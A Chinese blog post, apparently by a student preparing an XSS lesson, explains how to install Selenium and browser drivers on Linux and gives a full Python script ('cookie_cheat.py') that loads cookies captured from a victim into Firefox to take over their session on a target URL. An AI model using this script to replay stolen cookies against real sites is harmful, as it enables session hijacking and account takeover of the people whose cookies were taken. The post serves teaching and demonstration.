许久不更。。。。。。。。。。。。
最近要给学弟们讲一下xss,发现在Linux上面没有好用的cookie欺骗工具,为了演示的方便起见,决定自己写一个简单的。借这个机会了解了一下Selenium,发现真是挺强大的,准备以后有时间把二把刀的爬虫再捡起来深入一下。

0x01准备

  1. 安装Selenium
    1
    pip install selenium
  2. 安装浏览器驱动
    本来firefox是不用安装驱动的,但是在selenium 3之后也需要安装驱动。
    下载地址:https://github.com/mozilla/geckodriver/releases
    chrome: https://sites.google.com/a/chromium.org/chromedriver/downloads (需翻墙)

    ps. 要保证浏览器和浏览器驱动都配置在环境变量里,否则会报错。比如Kali2.0直接将下载的文件放到/usr/bin目录下即可。

0x02代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from selenium import webdriver
import urllib
import getopt
import sys

url = ''
cookies = ''

#将获取到的cookie进行整理
def cookies_parse(cookies):
parsed_cookies = []
cookies = urllib.unquote(cookies) #urldecode
cookies = cookies.split(';')
for cookie in cookies:
cookie = cookie.strip()
name = cookie.split('=')[0].replace(' ', '+') #将空格替换为+
value = cookie.split('=')[1].replace(' ', '+')
parsed_cookies.append({'name': name, 'value': value})
return parsed_cookies

def cookie_cheat(url, cookies):
driver = webdriver.Firefox() #调用Firefox浏览器
driver.get(url) #访问目标url

#selenium没有修改cookie的功能,只能删除然后添加
driver.delete_all_cookies() #删除所有cookie
for cookie in cookies:
#print cookie
driver.add_cookie(cookie) #添加获取到的cookie

driver.get(url) #再次访问
driver.close()

def main():
global url
global cookies

#命令行参数解析
if not len(sys.argv[1:]):
print 'usage: python cookie_cheat.py -u target_url -c cookies'
sys.exit(0)

try:
opts, args = getopt.getopt(sys.argv[1:], 'u:c:', ['url', 'cookies'])
except getopt.GetoptError as err:
print str(err)
print 'usage: python cookie_cheat.py -u target_url -c cookies'
sys.exit(0)

for o, a in opts:
if o in ("-u", "--url"):
url = a
elif o in ("-c", "--cookie"):
cookies = a
################

cookies = cookies_parse(cookies)
url = url if url.startswith('http://') else ('http://' + url)
cookie_cheat(url, cookies)

if __name__ == '__main__':
main()

0x03参考资料